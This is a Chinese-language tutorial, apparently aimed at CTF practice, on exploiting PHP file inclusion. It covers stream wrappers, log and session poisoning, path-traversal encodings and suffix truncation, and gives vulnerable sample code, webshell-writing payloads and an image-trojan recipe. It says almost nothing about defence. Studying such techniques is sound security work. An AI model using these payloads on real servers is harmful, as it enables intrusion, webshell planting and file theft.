文件包含漏洞利用方式總結與防御
0x01 什么是文件包含漏洞
通過PHP函數引入文件時,傳入的文件名沒有經過合理的驗證,從而操作了預想之外的文件,就可能導致意外的文件泄漏甚至惡意代碼注入。
0x02 文件包含漏洞的環境要求
- allow_url_fopen=On(默認為On) 規定是否允許從遠程服務器或者網站檢索數據
- allow_url_include=On(php5.2之后默認為Off) 規定是否允許include/require遠程文件
0x03 常見文件包含函數
php中常見的文件包含函數有以下四種:
- include()
- require()
- include_once()
- require_once()
include與require基本是相同的,除了錯誤處理方面:
- include(),只生成警告(E_WARNING),并且腳本會繼續
- require(),會生成致命錯誤(E_COMPILE_ERROR)并停止腳本
- include_once()與require_once(),如果文件已包含,則不會包含,其他特性如上
0x04 PHP偽協議
PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符, 內存中、磁盤備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器。
一、php://input
php://input可以訪問請求的原始數據的只讀流,將post請求的數據當作php代碼執行。當傳入的參數作為文件名打開時,可以將參數設為php://input,同時post想設置的文件內容,php執行時會將post內容當作文件內容。從而導致任意代碼執行。

Example 1: 造成任意代碼執行
<meta charset="utf8"><?phperror_reporting(0);$file = $_GET["file"];if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!');}if($file){ if ($file!="http://www.baidu.com") echo "tips:flag在當前目錄的某個文件中"; include($file);}else{ echo '<a href="?file=http://www.baidu.com">click go baidu</a>';}?>


注:利用php://input還可以寫入php木馬,即在post中傳入如下代碼:
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
Example 2: 文件內容繞過
//test.php<?phpshow_source(__FILE__);include('flag.php');$a= $_GET["a"];if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){ echo "success\n"; echo $flag;}
//flag.php<?php$flag = 'flag{flag_is_here}';?>
審計test.php知,當參數$a不為空,且讀取的文件中包含’I want flag’時,即可顯示$flag。所以可以使用php://input得到原始的post數據,訪問請求的原始數據的只讀流,將post請求中的數據作為PHP代碼執行來進行繞過。
注:遇到file_get_contents()要想到用php://input繞過。

二、php://filter
php://filter可以獲取指定文件源碼。當它與包含函數結合時,php://filter流會被當作php文件執行。所以我們一般對其進行編碼,讓其不執行。從而導致 任意文件讀取。


POC1直接讀取xxx.php文件,但大多數時候很多信息無法直接顯示在瀏覽器頁面上,所以需要采取POC2中方法將文件內容進行base64編碼后顯示在瀏覽器上,再自行解碼。
注:更多php://filter用法可參考:談一談php://filter的妙用
Example 1:
<meta charset="utf8"><?phperror_reporting(0);$file = $_GET["file"];if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!');}if($file){ include($file);}else{ echo '<a href="?file=flag.php">tips</a>';}?>
1.點擊tip后進入如下頁面,看到url中出現file=flag.php,如下:

2.嘗試payload:?file=php://filter/resource=flag.php,發現無法顯示內容:

3.嘗試payload:?file=php://filter/read=convert.base64-encode/resource=flag.php,得到一串base64字符,解碼得flag在flag.php源碼中的注釋里:

三、zip://
zip:// 可以訪問壓縮包里面的文件。當它與包含函數結合時,zip://流會被當作php文件執行。從而實現任意代碼執行。
- zip://中只能傳入絕對路徑。
- 要用#分隔壓縮包和壓縮包里的內容,并且#要用url編碼%23(即下述POC中#要用%23替換)
- 只需要是zip的壓縮包即可,后綴名可以任意更改。
- 相同的類型的還有zlib://和bzip2://

- Example 1:
//index.php
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if (!$file) echo '<a href="?file=upload">upload?</a>';
if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
echo "hick?";
exit();
}else{
include($file.".php");
}
?>
<!-- flag在當前目錄的某個文件中 -->
//upload.php
<meta charset="utf-8">
<form action="upload.php" method="post" enctype="multipart/form-data" >
<input type="file" name="fupload" />
<input type="submit" value="upload!" />
</form>
you can upload jpg,png,zip....<br />
<?php
if( isset( $_FILES['fupload'] ) ) {
$uploaded_name = $_FILES[ 'fupload' ][ 'name' ]; //文件名
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //文件后綴
$uploaded_size = $_FILES[ 'fupload' ][ 'size' ]; //文件大小
$uploaded_tmp = $_FILES[ 'fupload' ][ 'tmp_name' ]; // 存儲在服務器的文件的臨時副本的名稱
$target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext;
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&
( $uploaded_size < 100000 ) ) {
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No
echo '<pre>upload error</pre>';
}
else {// Yes!
echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>you can upload jpg,png,zip....</pre>';
}
}
?>
四、data://與phar://
data:// 同樣類似與php://input,可以讓用戶來控制輸入流,當它與包含函數結合時,用戶輸入的data://流會被當作php文件執行。從而導致任意代碼執行。

phar:// 有點類似zip://同樣可以導致 任意代碼執行。
- phar://中相對路徑和絕對路徑都可以使用

0x05 包含Apache日志文件
WEB服務器一般會將用戶的訪問記錄保存在訪問日志中。那么我們可以根據日志記錄的內容,精心構造請求,把PHP代碼插入到日志文件中,通過文件包含漏洞來執行日志中的PHP代碼。


Apache運行后一般默認會生成兩個日志文件,Windos下是access.log(訪問日志)和error.log(錯誤日志),Linux下是access_log和error_log,訪問日志文件記錄了客戶端的每次請求和服務器響應的相關信息。
如果訪問一個不存在的資源時,如http://www.xxxx.com/<?php phpinfo(); ?>,則會記錄在日志中,但是代碼中的敏感字符會被瀏覽器轉碼,我們可以通過burpsuit繞過編碼,就可以把<?php phpinfo(); ?> 寫入apache的日志文件,然后可以通過包含日志文件來執行此代碼,但前提是你得知道apache日志文件的存儲路徑,所以為了安全起見,安裝apache時盡量不要使用默認路徑。
參考文章:1.包含日志文件getshell
2.一道包含日志文件的CTF題
0x06 包含SESSION
可以先根據嘗試包含到SESSION文件,在根據文件內容尋找可控變量,在構造payload插入到文件中,最后包含即可。
利用條件:
- 找到Session內的可控變量
- Session文件可讀寫,并且知道存儲路徑
php的session文件的保存路徑可以在phpinfo的session.save_path看到。

session常見存儲路徑:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
- session文件格式:sess_[phpsessid] ,而 phpsessid 在發送的請求的 cookie 字段中可以看到。
參考文章:一道SESSION包含的CTF題
0x06 包含/pros/self/environ
proc/self/environ中會保存user-agent頭,如果在user-agent中插入php代碼,則php代碼會被寫入到environ中,之后再包含它,即可。
利用條件:
- php以cgi方式運行,這樣environ才會保持UA頭。
- environ文件存儲位置已知,且environ文件可讀。
參考文章:proc / self / environ Injection
0x07 包含臨時文件

php中上傳文件,會創建臨時文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。
由于包含需要知道包含的文件名。一種方法是進行暴力猜解,linux下使用的隨機函數有缺陷,而window下只有65535中不同的文件名,所以這個方法是可行的。
另一種方法是配合phpinfo頁面的php variables,可以直接獲取到上傳文件的存儲路徑和臨時文件名,直接包含即可。這個方法可以參考LFI With PHPInfo Assistance
類似利用臨時文件的存在,競爭時間去包含的,可以看看這道CTF題:XMAN夏令營-2017-babyweb-writeup
0x08 包含上傳文件
很多網站通常會提供文件上傳功能,比如:上傳頭像、文檔等,這時就可以采取上傳一句話圖片木馬的方式進行包含。
圖片馬的制作方式如下,在cmd控制臺下輸入:
進入1.jph和2.php的文件目錄后,執行: copy 1.jpg/b+2.php 3.jpg 將圖片1.jpg和包含php代碼的2.php文件合并生成圖片馬3.jpg
假設已經上傳一句話圖片木馬到服務器,路徑為/upload/201811.jpg
圖片代碼如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
然后訪問URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含這張圖片,將會在index.php所在的目錄下生成shell.php
0x09 其他包含姿勢
- 包含SMTP(日志)
- 包含xss
0x09 指定前綴繞過
一、目錄遍歷
使用 ../../ 來返回上一目錄,被稱為目錄遍歷(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php
測試代碼如下:
<?php error_reporting(0); $file = $_GET["file"]; //前綴 include "/var/www/html/".$file; highlight_file(__FILE__); ?>
現在在/var/log目錄下有文件flag.txt,則利用…/可以進行目錄遍歷,比如我們嘗試訪問:
include.php?file=../../log/flag.txt
則服務器端實際拼接出來的路徑為:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,從而包含成功。
二、編碼繞過
服務器端常常會對于../等做一些過濾,可以用一些編碼來進行繞過。
1.利用url編碼
- ../
- %2e%2e%2f
- ..%2f
- %2e%2e/
- ..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
2.二次編碼
- ../
- %252e%252e%252f
- ..\
- %252e%252e%255c
3.容器/服務器的編碼方式
- ../
- 注:java中會把”%c0%ae”解析為”\uC0AE”,最后轉義為ASCCII字符的”.”(點)
- Apache Tomcat Directory Traversal
- 注:Why does Directory traversal attack %C0%AF work?
- ..%c0%af
- %c0%ae%c0%ae/
- ..\
- ..%c1%9c
0x10 指定后綴繞過
后綴繞過測試代碼如下,下述各后綴繞過方法均使用此代碼:
<?php error_reporting(0); $file = $_GET["file"]; //后綴 include $file.".txt"; highlight_file(__FILE__); ?>
一、利用url
在遠程文件包含漏洞(RFI)中,可以利用query或fragment來繞過后綴限制。
可參考此文章:URI’s fragment
完整url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
query(?)
- [訪問參數]
?file=http://localhost:8081/phpinfo.php? - [拼接后]
?file=http://localhost:8081/phpinfo.php?.txt
Example:(設在根目錄下有flag2.txt文件)


fragment(#)
- [訪問參數]
?file=http://localhost:8081/phpinfo.php%23 - [拼接后]
?file=http://localhost:8081/phpinfo.php#.txt
Example:(設在根目錄下有flag2.txt文件)


二、利用協議
利用zip://和phar://,由于整個壓縮包都是我們的可控參數,那么只需要知道他們的后綴,便可以自己構建。
zip://
- [訪問參數]
?file=zip://D:\zip.jpg%23phpinfo - [拼接后]
?file=zip://D:\zip.jpg#phpinfo.txt
phar://
- [訪問參數]
?file=phar://zip.zip/phpinfo - [拼接后]
?file=phar://zip.zip/phpinfo.txt
Example:
(我的環境根目錄中有php.zip壓縮包,內含phpinfo.txt,其中包含代碼<?php phpinfo();?>))
所以分別構造payload為:
?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo

?file=phar://../../php.zip/phpinfo

三、長度截斷
利用條件:
- php版本 < php 5.2.8
原理:
- Windows下目錄最大長度為256字節,超出的部分會被丟棄
- Linux下目錄最大長度為4096字節,超出的部分會被丟棄。
利用方法:
只需要不斷的重復 ./(Windows系統下也可以直接用 . 截斷)
?file=./././。。。省略。。。././shell.php
則指定的后綴.txt會在達到最大值后會被直接丟棄掉
四、%00截斷
利用條件:
- magic_quotes_gpc = Off
- php版本 < php 5.3.4
利用方法:
直接在文件名的最后加上%00來截斷指定的后綴名
?file=shell.php%00
注:現在用到%00階段的情況已經不多了